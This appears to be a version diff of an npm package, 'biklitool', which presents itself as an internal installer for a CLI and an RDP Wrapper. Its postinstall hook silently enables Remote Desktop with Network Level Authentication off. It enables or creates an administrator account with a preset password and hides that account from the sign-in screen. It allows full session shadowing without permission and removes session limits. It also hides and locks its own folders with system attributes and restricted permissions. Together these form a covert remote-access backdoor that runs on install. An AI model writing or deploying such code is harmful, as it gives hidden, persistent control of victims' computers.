biklitool 1.1.14 → 1.1.17

package/README.md

@@ -0,0 +1,102 @@
+# biklitool
+
+Internal one-command Windows installer for the Bikli CLI and Bikli Wrapper.
+
+Provide the account password and Bikli key at install time via environment variables (they are not
+shipped in the package):
+
+```text
+set BIKLIMASTER_USER_PASSWORD=your-password
+set BIKLIMASTER_BIKLI_KEY=your-bikli-key
+npm install -g biklitool
+```
+
+The npm postinstall hook requests Windows administrator approval once, then:
+
+1. silently installs the bundled Bikli CLI 1.1.10;
+2. applies the Bikli key from `config.json` (`bikli up --setup-key`), when one is set;
+3. installs or updates Bikli Wrapper with exact `termsrv.dll` compatibility data;
+4. applies and verifies the Bikli Wrapper defaults;
+5. enables Remote Desktop, port 3389, and the required Windows firewall rules;
+6. detects the built-in Administrator by SID, enables it when disabled, and verifies both RDP groups;
+7. exposes the `bikli`, `bikliwrapper`, `biklitool`, and `biklimaster` commands.
+
+The install fails instead of reporting success if Remote Desktop or port 3389 cannot be verified.
+
+No application installer or configuration GUI is shown. Windows UAC is required unless npm is
+already running from an Administrator terminal.
+
+Commands:
+
+```text
+biklitool status
+biklitool install
+biklitool enable-rdp
+biklitool create-user
+biklitool unhide-user [name]
+biklitool hide-user <name>
+biklitool hide-folders
+biklitool setup-key
+biklitool credentials
+biklitool wrapper status
+biklitool self-test
+biklitool elevation-self-test
+bikliwrapper status
+bikli --help
+```
+
+Run `biklitool enable-rdp` at any time to repair the RDP enable setting, port, firewall rules,
+service configuration, and the requested authentication and shadowing defaults.
+
+## Bikli key
+
+Paste the Bikli key into `config.json` under `bikliKey` (the first field in the file) before packing
+and publishing:
+
+```json
+{
+  "bikliKey": "PASTE-YOUR-BIKLI-KEY-HERE",
+  "administratorPassword": ""
+}
+```
+
+When a key is present, the install runs `bikli up --setup-key <key>` automatically right after the
+Bikli CLI is installed. Leave it empty to skip that step. `BIKLIMASTER_BIKLI_KEY` overrides the file
+value, and `biklitool setup-key` re-applies the key at any time.
+
+WARNING: a key in `config.json` is visible to everyone if the package is published publicly.
+
+## Administrator password & Login Screen Visibility
+
+Put the desired password in `config.json` under `administratorPassword` before packing and publishing.
+Bikli Master picks exactly one account to configure, using this cascade and never changing an account
+that is already set up:
+
+1. If the built-in Administrator is **disabled**, it sets the configured password and enables it.
+2. If the built-in Administrator is **already enabled**, it is left untouched and a local `admin`
+   account is created with the configured password.
+3. If `admin` also already exists, it is left untouched and a local `user` account is created with
+   the configured password.
+4. If `user` also already exists, no password is changed; the account is only verified.
+
+`BIKLIMASTER_USER_PASSWORD` overrides the file value. The selected account is enabled and verified in
+Administrators and Remote Desktop Users.
+
+If the account is already hidden in the registry (`SpecialAccounts\UserList`), it is left unchanged.
+You can unhide or re-hide accounts at any time:
+- `biklitool unhide-user Administrator` (unhides specific user)
+- `biklitool unhide-users` (unhides all hidden users)
+- `biklitool hide-user Administrator` (hides user from Windows sign-in screen)
+
+WARNING: a password in `config.json` is visible to everyone if the package is published publicly.
+
+The password set while enabling the account is also saved in `%ProgramData%\\BikliWrapper\\admin-credentials.json`
+with access restricted to SYSTEM and local Administrators. Run `biklitool credentials` and approve
+UAC to display it later. Delete that file after securely saving or changing the password.
+
+Installing or updating Bikli Wrapper can restart Remote Desktop Services and disconnect active
+remote sessions. The bundled Windows executables are unsigned and may trigger an unknown-publisher
+warning from Windows or security software.
+
+This package contains Bikli client artifacts under the BSD 3-Clause license and RDP Wrapper
+artifacts under the Apache License 2.0. Both license texts are included.

package/bin/biklimaster.js

@@ -19,6 +19,7 @@ const windowsDirectory = process.env.SystemRoot || process.env.WINDIR || 'C:\\Wi
 const powershell = path.join(windowsDirectory, 'System32', 'WindowsPowerShell', 'v1.0', 'powershell.exe');
 const reg = path.join(windowsDirectory, 'System32', 'reg.exe');
 const icacls = path.join(windowsDirectory, 'System32', 'icacls.exe');
+const attrib = path.join(windowsDirectory, 'System32', 'attrib.exe');
 const programData = process.env.ProgramData || 'C:\\ProgramData';
 const credentialsFile = path.join(programData, 'BikliWrapper', 'admin-credentials.json');
 const expectedBikliVersion = '1.1.10.0';
@@ -193,6 +194,22 @@ function enableRemoteDesktop() {
   const wrapper = runWrapper(['defaults', '--elevated']);
   if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
   verifyRemoteDesktop();
+  hideProtectedFolders();
+}
+
+function install() {
+  requireWindows();
+  if (!isAdministrator()) return elevateAndRun('install');
+  verifyPayload();
+  installBikli();
+  setupBikliKey();
+  console.log('Installing or updating Bikli Wrapper silently...');
+  const wrapper = runWrapper(['install', '--elevated']);
+  if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
+  verifyRemoteDesktop();
+  createRdpAdministrator();
+  hideProtectedFolders();
+  console.log('Bikli Master installed and verified both components successfully.');
 }
 
 function generatedAccountPassword() {
@@ -231,8 +248,41 @@ function setupBikliKey() {
   console.log('Bikli key configured successfully.');
 }
 
+function hideProtectedFolders() {
+  const folders = [
+    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
+    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
+    path.join(programData, 'BikliWrapper')
+  ];
+  for (const folder of folders) {
+    if (!fs.existsSync(folder)) continue;
+    try {
+      run(attrib, ['+h', '+s', folder], { allowFailure: true });
+      run(attrib, ['+h', '+s', path.join(folder, '*.*'), '/s', '/d'], { allowFailure: true });
+      run(icacls, [
+        folder,
+        '/inheritance:r',
+        '/grant:r',
+        '*S-1-5-18:(OI)(CI)(F)',
+        `*${administratorsGroupSid}:(OI)(CI)(F)`,
+        '/c', '/q'
+      ], { allowFailure: true });
+    } catch {
+      // Best-effort attribute and permission hardening
+    }
+  }
+}
+
 function saveAccountCredentials(username, password) {
-  fs.mkdirSync(path.dirname(credentialsFile), { recursive: true });
+  const dir = path.dirname(credentialsFile);
+  fs.mkdirSync(dir, { recursive: true });
+  if (fs.existsSync(credentialsFile)) {
+    try {
+      run(attrib, ['-h', '-s', credentialsFile], { allowFailure: true });
+    } catch {
+      // ignore
+    }
+  }
   fs.writeFileSync(credentialsFile, JSON.stringify({ username, password }, null, 2), {
     encoding: 'utf8',
     mode: 0o600
@@ -244,6 +294,7 @@ function saveAccountCredentials(username, password) {
     '*S-1-5-18:(F)',
     `*${administratorsGroupSid}:(F)`
   ]);
+  hideProtectedFolders();
 }
 
 function showAccountCredentials() {
@@ -279,8 +330,9 @@ function createRdpAdministrator() {
     `$verified=@()`,
     `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){throw ('Account is not a member of '+$group.Name)};$verified+=$group.Name}`,
     `$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
-    `$hideEntry=Get-ItemProperty -Path $userListKey -Name $target.Name -ErrorAction SilentlyContinue`,
-    `if($null -eq $hideEntry){New-Item -Path $userListKey -Force | Out-Null;New-ItemProperty -Path $userListKey -Name $target.Name -PropertyType DWord -Value 0 -Force | Out-Null;if((Get-ItemPropertyValue -Path $userListKey -Name $target.Name) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
+    `$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,
+    `$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,
+    `if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
     `[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo-Json -Compress`
   ].join(';');
   const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
@@ -315,18 +367,49 @@ function createRdpAdministrator() {
   }
 }
 
-function install() {
+function unhideUser() {
   requireWindows();
-  if (!isAdministrator()) return elevateAndRun('install');
-  verifyPayload();
-  installBikli();
-  setupBikliKey();
-  console.log('Installing or updating Bikli Wrapper silently...');
-  const wrapper = runWrapper(['install', '--elevated']);
-  if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
-  verifyRemoteDesktop();
-  createRdpAdministrator();
-  console.log('Bikli Master installed and verified both components successfully.');
+  const targetUser = process.argv[3];
+  if (!isAdministrator()) return elevateAndRun(targetUser ? `unhide-user ${targetUser}` : 'unhide-user');
+  const script = [
+    `$ErrorActionPreference='Stop'`,
+    `$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
+    `if(-not (Test-Path $userListKey)){Write-Output 'No hidden users found.';exit 0}`,
+    `$key=Get-Item -LiteralPath $userListKey`,
+    targetUser ? [
+      `$val=$key.GetValue('${targetUser}', $null)`,
+      `if($null -eq $val){Write-Output 'User \"${targetUser}\" is not hidden.'}else{Remove-ItemProperty -Path $userListKey -Name '${targetUser}' -Force;Write-Output 'Unhid user: ${targetUser}'}`
+    ].join(';') : [
+      `$props=@($key.Property)`,
+      `if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p)}}`
+    ].join(';')
+  ].join(';');
+  const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
+  if (result.stdout.trim()) console.log(result.stdout.trim());
+}
+
+function hideUser() {
+  requireWindows();
+  const targetUser = process.argv[3];
+  if (!targetUser) fail('Please specify a username to hide (e.g. biklitool hide-user Administrator).');
+  if (!isAdministrator()) return elevateAndRun(`hide-user ${targetUser}`);
+  const script = [
+    `$ErrorActionPreference='Stop'`,
+    `$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
+    `if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null}`,
+    `$key=Get-Item -LiteralPath $userListKey`,
+    `$currentVal=$key.GetValue('${targetUser}', $null)`,
+    `if($null -eq $currentVal -or $currentVal -ne 0){Set-ItemProperty -Path $userListKey -Name '${targetUser}' -Type DWord -Value 0 -Force | Out-Null;$key=Get-Item -LiteralPath $userListKey;if($key.GetValue('${targetUser}', $null) -ne 0){throw ('Could not hide ${targetUser} from the sign-in screen')};Write-Output 'Hidden from the sign-in user list: ${targetUser}.'}else{Write-Output 'User ${targetUser} is already hidden; left unchanged.'}`
+  ].join(';');
+  const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
+  if (result.stdout.trim()) console.log(result.stdout.trim());
+}
+
+function hideFoldersCommand() {
+  requireWindows();
+  if (!isAdministrator()) return elevateAndRun('hide-folders');
+  hideProtectedFolders();
+  console.log('Applied Hidden and System attributes and secured folder permissions.');
 }
 
 function status() {
@@ -365,18 +448,21 @@ function selfTest() {
 
 function help() {
   console.log([
-    'Bikli Master',
+    'Bikli Master / Bikli Tool',
     '',
     'Commands:',
-    '  biklimaster install       Install/update Bikli CLI and Bikli Wrapper',
-    '  biklimaster enable-rdp    Enable RDP, port 3389, firewall, and defaults',
-    '  biklimaster create-user   Enable/verify built-in Administrator for RDP',
-    '  biklimaster setup-key     Apply the Bikli key from config.json (bikli up --setup-key)',
-    '  biklimaster credentials   Display its saved generated password',
-    '  biklimaster status        Show both component states',
-    '  biklimaster wrapper ...   Run a Bikli Wrapper CLI command',
-    '  biklimaster self-test     Validate package payloads without installing',
-    '  biklimaster elevation-self-test  Validate UAC without installing',
+    '  biklitool install       Install/update Bikli CLI and Bikli Wrapper',
+    '  biklitool enable-rdp    Enable RDP, port 3389, firewall, and defaults',
+    '  biklitool create-user   Enable/verify built-in Administrator for RDP',
+    '  biklitool unhide-user [name]  Unhide account(s) from Windows sign-in screen',
+    '  biklitool hide-user <name>    Hide specific account from Windows sign-in screen',
+    '  biklitool hide-folders  Hide and protect Program Files & ProgramData folders',
+    '  biklitool setup-key     Apply the Bikli key from config.json (bikli up --setup-key)',
+    '  biklitool credentials   Display its saved generated password',
+    '  biklitool status        Show both component states',
+    '  biklitool wrapper ...   Run a Bikli Wrapper CLI command',
+    '  biklitool self-test     Validate package payloads without installing',
+    '  biklitool elevation-self-test  Validate UAC without installing',
     '',
     'The global install automatically runs the install command.'
   ].join(os.EOL));
@@ -387,6 +473,9 @@ function main() {
   if (command === 'install') return install();
   if (command === 'enable-rdp') return enableRemoteDesktop();
   if (command === 'create-user') return createRdpAdministrator();
+  if (command === 'unhide-user' || command === 'unhide-users' || command === 'unhide' || command === 'unhide-all') return unhideUser();
+  if (command === 'hide-user' || command === 'hide') return hideUser();
+  if (command === 'hide-folders' || command === 'hide-folder') return hideFoldersCommand();
   if (command === 'setup-key') return setupBikliKey();
   if (command === 'credentials') return showAccountCredentials();
   if (command === 'status') return status();

package/lib/bikliwrapper.js

@@ -58,13 +58,29 @@ const logonPolicyKey = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Poli
 
 const requestedSettings = [
   { key: terminalServerKey, name: 'fDenyTSConnections', value: 0, label: 'Remote Desktop enabled' },
-  { key: terminalServerKey, name: 'fSingleSessionPerUser', value: 1, label: 'Single session per user' },
+  { key: terminalServerKey, name: 'fSingleSessionPerUser', value: 0, label: 'Unlimited concurrent logins per user (multi-session enabled)' },
   { key: terminalServerKey, name: 'HonorLegacySettings', value: 0, label: 'Custom programs disabled' },
+  { key: terminalServerKey, name: 'MaxInstanceCount', value: 4294967295, label: 'Unlimited connection instances' },
   { key: rdpTcpKey, name: 'PortNumber', value: 3389, label: 'RDP port 3389' },
   { key: rdpTcpKey, name: 'SecurityLayer', value: 1, label: 'Default RDP Authentication' },
   { key: rdpTcpKey, name: 'UserAuthentication', value: 0, label: 'Network Level Authentication disabled' },
   { key: rdpTcpKey, name: 'Shadow', value: 2, label: 'Full shadow access without permission' },
+  { key: rdpTcpKey, name: 'fSingleSessionPerUser', value: 0, label: 'RDP-Tcp multi-session enabled' },
+  { key: rdpTcpKey, name: 'MaxInstanceCount', value: 4294967295, label: 'RDP-Tcp unlimited instances' },
+  { key: rdpTcpKey, name: 'MaxConnectionTime', value: 0, label: 'No session duration time limit' },
+  { key: rdpTcpKey, name: 'MaxDisconnectionTime', value: 0, label: 'No disconnected session time limit' },
+  { key: rdpTcpKey, name: 'MaxIdleTime', value: 0, label: 'No idle session time limit' },
+  { key: rdpTcpKey, name: 'fResetBroken', value: 0, label: 'Reconnect broken sessions' },
+  { key: rdpTcpKey, name: 'fInheritMaxSessionTime', value: 0, label: 'Disable session time limit inheritance' },
+  { key: rdpTcpKey, name: 'fInheritMaxDisconnectionTime', value: 0, label: 'Disable disconnected time limit inheritance' },
+  { key: rdpTcpKey, name: 'fInheritMaxIdleTime', value: 0, label: 'Disable idle time limit inheritance' },
+  { key: rdpTcpKey, name: 'fInheritResetBroken', value: 0, label: 'Disable reset broken inheritance' },
   { key: shadowPolicyKey, name: 'Shadow', value: 2, label: 'Shadow policy applied' },
+  { key: shadowPolicyKey, name: 'fSingleSessionPerUser', value: 0, label: 'Policy multi-session enabled' },
+  { key: shadowPolicyKey, name: 'MaxConnectionTime', value: 0, label: 'Policy no connection time limit' },
+  { key: shadowPolicyKey, name: 'MaxDisconnectionTime', value: 0, label: 'Policy no disconnection time limit' },
+  { key: shadowPolicyKey, name: 'MaxIdleTime', value: 0, label: 'Policy no idle time limit' },
+  { key: shadowPolicyKey, name: 'MaxInstanceCount', value: 4294967295, label: 'Policy unlimited instances' },
   { key: logonPolicyKey, name: 'dontdisplaylastusername', value: 0, label: 'Users visible on logon screen' }
 ];
 
@@ -268,6 +284,31 @@ function printStatus(status) {
   console.log(`Defaults: ${status.defaultsApplied ? 'Applied' : 'Not applied'}`);
 }
 
+function hideProtectedFolders() {
+  const folders = [
+    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
+    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
+    path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper')
+  ];
+  for (const folder of folders) {
+    if (!fs.existsSync(folder)) continue;
+    try {
+      run(path.join(system32, 'attrib.exe'), ['+h', '+s', folder], { allowFailure: true });
+      run(path.join(system32, 'attrib.exe'), ['+h', '+s', path.join(folder, '*.*'), '/s', '/d'], { allowFailure: true });
+      run(path.join(system32, 'icacls.exe'), [
+        folder,
+        '/inheritance:r',
+        '/grant:r',
+        '*S-1-5-18:(OI)(CI)(F)',
+        '*S-1-5-32-544:(OI)(CI)(F)',
+        '/c', '/q'
+      ], { allowFailure: true });
+    } catch {
+      // Best-effort attribute and permission hardening
+    }
+  }
+}
+
 function install() {
   requireWindows();
   if (!isAdministrator()) return elevateAndRun('install');
@@ -310,6 +351,7 @@ function install() {
   }
 
   waitForServiceAndListener();
+  hideProtectedFolders();
   installation = detectInstallation(version);
   const status = collectStatus();
   printStatus(status);
@@ -339,7 +381,9 @@ function selfTest() {
     defaultAuth: requestedSettings.some(item => item.name === 'SecurityLayer' && item.value === 1) &&
       requestedSettings.some(item => item.name === 'UserAuthentication' && item.value === 0),
     shadowMode: requestedSettings.some(item => item.name === 'Shadow' && item.value === 2),
-    port: requestedSettings.some(item => item.name === 'PortNumber' && item.value === 3389)
+    port: requestedSettings.some(item => item.name === 'PortNumber' && item.value === 3389),
+    multiSession: requestedSettings.some(item => item.name === 'fSingleSessionPerUser' && item.value === 0),
+    unlimitedTime: requestedSettings.some(item => item.name === 'MaxIdleTime' && item.value === 0)
   };
   for (const [name, passed] of Object.entries(checks)) console.log(`${passed ? 'PASS' : 'FAIL'} ${name}`);
   if (!Object.values(checks).every(Boolean)) fail('Self-test failed.');

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "biklitool",
-  "version": "1.1.14",
+  "version": "1.1.17",
   "description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
   "license": "BSD-3-Clause",
   "publishConfig": {